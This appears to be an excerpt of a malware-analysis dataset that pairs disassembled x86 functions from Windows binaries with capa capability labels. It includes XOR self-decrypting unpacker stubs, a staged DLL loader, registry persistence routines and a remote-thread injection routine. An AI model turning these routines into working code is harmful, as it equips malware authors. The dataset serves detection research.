joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47f230
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword [edi + 0x2c]
nop
mov eax, dword [edi + 0x2c]
mov edx, dword [edi + 0x3c]
add eax, 0xfffffefa
sub edx, dword [edi + 0x74]
add eax, esi
sub edx, dword [edi + 0x6c]
mov dword [ebp - 4], edx
cmp dword [edi + 0x6c], eax
jb 0x47f2bf
mov ecx, dword [edi + 0x38]
push esi
lea eax, [ecx + esi]
push eax
push ecx
call fcn.004b93b0
mov edx, dword [edi + 0x4c]
add esp, 0xc
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], esi
sub dword [edi + 0x6c], esi
sub dword [edi + 0x5c], esi
lea ecx, [eax + edx*2]
nop
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x47f28f
sub eax, esi
jmp 0x47f291
xor eax, eax
mov word [ecx], ax
sub edx, 1
jne 0x47f280
mov eax, dword [edi + 0x40]
mov edx, esi
lea ecx, [eax + esi*2]
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x47f2b0
sub eax, esi
jmp 0x47f2b2
xor eax, eax
mov word [ecx], ax
sub edx, 1
jne 0x47f2a1
mov edx, dword [ebp - 4]
add edx, esi
mov ebx, dword [edi]
cmp dword [ebx + 4], 0
je 0x47f3f3
mov eax, dword [edi + 0x74]
add eax, dword [edi + 0x6c]
add eax, dword [edi + 0x38]
mov dword [ebp - 8], eax
mov eax, dword [ebx + 4]
cmp eax, edx
mov ecx, eax
cmova ecx, edx
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x47f2ec
xor eax, eax
jmp 0x47f33f
sub eax, ecx
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x47f309
mov edx, dword [ebx]
push ecx
mov ecx, dword [ebx + 0x30]
call fcn.00483240
jmp 0x47f321
cmp eax, 2
jne 0x47f327
mov edx, dword [ebx]
test edx, edx
jne 0x47f318
xor eax, eax
jmp 0x47f324
push ecx
mov ecx, dword [ebx + 0x30]
call fcn.0047fe20
add esp, 4
mov dword [ebx + 0x30], eax
push dword [ebp - 4]
push dword [ebx]
push dword [ebp - 8]
call fcn.004b93b0
mov eax, dword [ebp - 4]
add esp, 0xc
add dword [ebx], eax
add dword [ebx + 8], eax
add dword [edi + 0x74], eax
mov ebx, dword [edi + 0x74]
cmp ebx, 3
jb 0x47f367
mov eax, dword [edi + 0x38]
add eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x58]
movzx edx, byte [eax]
mov dword [edi + 0x48], edx
movzx eax, byte [eax + 1]
shl edx, cl
xor edx, eax
and edx, dword [edi + 0x54]
mov dword [edi + 0x48], edx
cmp ebx, 0x106
jae 0x47f37b
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x47f240
mov edx, dword [edi + 0x16c0]
mov ecx, dword [edi + 0x3c]
cmp edx, ecx
jae 0x47f3f3
mov esi, dword [edi + 0x6c]
add esi, ebx
cmp edx, esi
jae 0x47f3c3
sub ecx, esi
mov eax, 0x102
cmp ecx, eax
cmova ecx, eax
mov eax, dword [edi + 0x38]
push ecx
add eax, esi
mov dword [ebp - 8], ecx
push 0
push eax
call fcn.004b9930
mov eax, dword [ebp - 8]
add esp, 0xc
add eax, esi
mov dword [edi + 0x16c0], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0x102]
cmp edx, eax
jae 0x47f3f3
mov eax, dword [edi + 0x38]
sub esi, edx
sub ecx, edx
add esi, 0x102
cmp esi, ecx
cmova esi, ecx
add eax, edx
push esi
push 0
push eax
call fcn.004b9930
add esp, 0xc
add dword [edi + 0x16c0], esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x47fe00
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x47fe0b
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.0047fe20
Function at 0x4a3760
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x4d5bbe
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004d5a3d

Function at 0x4daed4
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004dab94

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xf91020
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x204]
push str.Local_szLibraryName_X
push eax
call entry0
add esp, 0xc
lea eax, [ebp - 0x204]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov edi, eax
test edi, edi
je 0xf91099
push 0x400
push 0
push 0
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0xf91092
push esi
push str.C:UsersFlareVMDesktopStage_1J_3Q.bin
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp word [str.C:UsersFlareVMDesktopStage_1J_3Q.bin], 0
jne 0xf910ba
call sub.ntdll.dll_RtlGetLastNtStatus
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00f9151b
mov esp, ebp
pop ebp
ret 0x10
push str.C:UsersFlareVMDesktopStage_1J_3Q.bin
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
jne 0xf91118
call sub.ntdll.dll_RtlGetLastNtStatus
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x204]
push str.Failed_to_load_DLL
push eax
call entry0
add esp, 0xc
lea eax, [ebp - 0x204]
push 0x1010
push eax
push str.C:UsersFlareVMDesktopStage_1J_3Q.bin
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
pop edi
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00f9151b
mov esp, ebp
pop ebp
ret 0x10
push eax
lea eax, [ebp - 0x204]
push str.DLL_loaded:_0x_p
push eax
call entry0
add esp, 0xc
lea eax, [ebp - 0x204]
push 0x1040
push eax
push str.C:UsersFlareVMDesktopStage_1J_3Q.bin
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00f9151b
mov esp, ebp
pop ebp
ret 0x10
Function at 0xf96826
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00f93b16
mov dword [ebp - 0x14], eax
cmp dword [0xfa4230], esi
jne 0xf96919
push 0x800
push esi
push 0xf9e4ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0xf968a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0xf969f9
push esi
push esi
push 0xf9e4ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0xf969f9
push 0xf9e4c4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0xf969f9
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0xfa4230], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0xfa4234], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0xfa4238], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0xfa4240], eax
test eax, eax
je 0xf96916
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0xfa423c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0xf9693e
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0xf96931
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0xf96953
push 4
pop eax
jmp 0xf969fb
cmp dword [ebp - 0x14], esi
je 0xf96953
push dword [0xfa4230]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0xf96938
mov eax, dword [0xfa423c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0xf969b1
cmp dword [0xfa4240], edi
je 0xf969b1
push eax
call ebx
push dword [0xfa4240]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0xf969b1
test eax, eax
je 0xf969b1
call ecx
test eax, eax
je 0xf969a6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0xf969a6
test byte [ebp - 8], 1
jne 0xf969b1
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0xf969e1
mov eax, dword [0xfa4234]
cmp eax, edi
je 0xf969de
push eax
call ebx
test eax, eax
je 0xf969de
call eax
mov esi, eax
test esi, esi
je 0xf969de
mov eax, dword [0xfa4238]
cmp eax, edi
je 0xf969de
push eax
call ebx
test eax, eax
je 0xf969de
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0xfa4230]
call ebx
test eax, eax
je 0xf969f9
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0xf969fb
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00f9151b
mov esp, ebp
pop ebp
ret
Function at 0x403288
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x4041fc
sub eax, eax
test esi, esi
je 0x403360
sub eax, 1
test ecx, ecx
je 0x40335e
test esi, 3
je 0x4032c6
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x4032ab
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x403345
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x4032d0
mov ecx, edx
test ecx, ecx
je 0x40335e
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x40334b
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x612a550a
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x78b34605
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
movzx eax, ax
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0040b5be

Function at 0x4016d0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x445aa1
mov eax, dword fs:[0]
push eax
sub esp, 0x390
mov eax, dword [0x45e560]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push str.hbdati_Mutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x463d10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4017c3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 8
push eax
mov dword [ebp - 0x14], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00414af7
push 0
call fcn.004154d4
add esp, 4
mov ecx, esi
push 0x4532b8
call fcn.0041667c
push 0x384
lea eax, [ebp - 0x39c]
push 0
push eax
call fcn.0042f1f0
add esp, 8
lea ecx, [ebp - 0x39c]
call fcn.00402e30
lea eax, [ebp - 0x39c]
mov dword [ebp - 4], 0
mov ecx, eax
mov dword [esi + 0x20], eax
call fcn.0040b8cc
lea ecx, [ebp - 0x8c]
mov dword [ebp - 4], 2
call fcn.00416e21
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 1
call fcn.0041695e
lea ecx, [ebp - 0x39c]
mov dword [ebp - 4], 0xffffffff
call fcn.0040b40f
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042d7a3
mov esp, ebp
pop ebp
ret
Function at 0x4018f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x445b20
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x45e560]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0
push 0
push 0x2001f
push 0
push 0
push str.Software_tl_datiConsole
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0
call fcn.00409f70
push esi
lea ecx, [ebp - 0x20]
call fcn.00409e50
push edi
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 1
call fcn.00409e50
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
test eax, eax
je 0x4019ad
mov edx, eax
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x401991
sub edx, esi
lea ecx, [edx + 1]
push ecx
push eax
push 1
push 0
push dword [ebp - 0x24]
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lea ecx, [edx + 0xc]
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x4019cc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x4019e6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x4019f1
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042d7a3
mov esp, ebp
pop ebp
ret
Function at 0x401a10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x445b5b
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x45e560]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
movq qword [ebp - 0x120], xmm0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
push 0x2001f
push str.Software_tl_datiConsole
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x120]
mov dword [ebp - 4], 0
call fcn.00409870
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x104
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x124]
push eax
push 0
push esi
mov esi, dword [ebp - 0x120]
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401aed
mov eax, dword [ebp - 0x124]
cmp eax, 1
je 0x401ad9
cmp eax, 2
jne 0x401aed
mov eax, dword [ebp - 0x128]
test eax, eax
je 0x401b18
cmp byte [ebp + eax - 0x115], 0
je 0x401b1f
xor bl, bl
test esi, esi
je 0x401afa
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042d7a3
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x114], 0
lea edx, [ebp - 0x114]
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x401b28
sub edx, edi
lea eax, [ebp - 0x114]
push edx
push eax
mov ecx, ebx
call fcn.00409d30
mov bl, 1
jmp 0x401aef
Function at 0x404a10
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x445d8b
mov eax, dword fs:[0]
push eax
mov eax, 0x1110
call fcn.00432040
mov eax, dword [0x45e560]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
lea eax, [ebp - 0x111c]
push eax
push 0x1000
lea eax, [ebp - 0x1114]
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x404bcf
mov eax, dword [ebp - 0x111c]
xor edi, edi
shr eax, 2
test eax, eax
js 0x404bcf
lea esp, [esp]
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp + edi*4 - 0x1114]
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x404bbd
call fcn.0040aa4f
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x404c23
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x1118], eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404ad6
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x1118]
call fcn.00409d30
mov esi, dword [ebp - 0x1118]
cmp dword [esi - 0xc], 0
jl 0x404b6c
push str.______
push esi
call fcn.0042ed46
add esp, 8
test eax, eax
je 0x404b32
sub eax, esi
cmp eax, 0xffffffff
je 0x404b32
push 0x454537
push str.______
lea ecx, [ebp - 0x1118]
call fcn.00407f30
mov esi, dword [ebp - 0x1118]
cmp dword [esi - 0xc], 0
jl 0x404b6c
push str.__SystemRoot
push esi
call fcn.0042ed46
add esp, 8
test eax, eax
je 0x404b6c
sub eax, esi
cmp eax, 0xffffffff
je 0x404b6c
push str.C:__WINDOWS
push str.__SystemRoot
lea ecx, [ebp - 0x1118]
call fcn.00407f30
mov esi, dword [ebp - 0x1118]
mov eax, 0x4640f0
mov ecx, esi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x404b93
test dl, dl
je 0x404b8f
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x404b93
add ecx, 2
add eax, 2
test dl, dl
jne 0x404b73
xor eax, eax
jmp 0x404b98
sbb eax, eax
or eax, 1
test eax, eax
je 0x404bf4
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x404bbd
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x111c]
inc edi
shr eax, 2
cmp edi, eax
jle 0x404a80
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042d7a3
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x404c1c
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
jmp 0x404bd8
push 0x80004005
call fcn.004015f0
int3
Function at 0x4055c0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x457940
push 0x42f4a0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x45e560]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], 0
push 0
push 0
push 0x7ee
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push ebx
push 0
push 0x43a
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
call edi
mov esi, eax
test esi, esi
jne 0x405644
push 0x30
push 0x45386c
push 0x453ce8
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x405795
push ebx
push 0
push 0x43a
call edi
test eax, eax
je 0x405783
mov ecx, eax
call fcn.00404a10
test eax, eax
je 0x405783
push 0x4640f0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebx, [eax*2 + 2]
push 0x40
push 0x3000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x4056a6
push 0x30
push 0x45386c
push 0x453d04
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x405795
push 0
push ebx
push 0x4640f0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4056d2
push 0x30
push 0x45386c
push 0x453d1c
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x405795
lea eax, [ebp - 0x20]
push eax
push 0
push edi
push dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x405709
push 0x30
push 0x45386c
push 0x453d34
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x405795
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp - 0x24]
push dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x405755
push 0x30
push 0x45386c
push 0x453d4c
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x405795
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x4000
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x405644
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x405795
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0042d7a3
mov esp, ebp
pop ebp
ret 8